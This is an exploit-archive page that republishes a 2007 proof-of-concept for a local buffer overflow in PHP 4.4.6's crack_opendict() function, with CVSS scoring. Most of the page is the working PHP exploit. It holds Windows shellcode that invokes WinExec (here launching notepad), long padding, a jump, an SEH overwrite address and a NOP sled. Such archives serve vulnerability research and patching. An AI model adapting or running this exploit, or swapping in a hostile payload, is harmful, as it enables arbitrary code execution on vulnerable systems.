PHP 4.4.6 crack_opendict() local buffer overflow poc exploit

2007-03-13 / 2007-03-14
Credit: rgod
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<?php //PHP 4.4.6 crack_opendict() local buffer overflow poc exploit //win2k sp3 version / seh overwrite method //to be launched from the cli // by rgod // site: http://retrogod.altervista.org if (!extension_loaded("crack")){ die("you need the crack extension loaded."); } $____scode= "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\xca\x73\xe9\x77". //WinExec "\xff\xd3". "\x31\xc0". "\x50". "\xbb\x5c\xcf\xe9\x77". //ExitProcess "\xff\xd3". "\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". "start notepad & "; $jmp="\xeb\x06\x06\xeb"; // jmp short $eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll $____suntzu.=str_repeat("A",3216); $____suntzu.=$jmp.$eip.str_repeat("\x90",12).$____scode; crack_opendict($____suntzu); ?> original url: http://retrogod.altervista.org/php_446_crack_opendict_local_bof.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top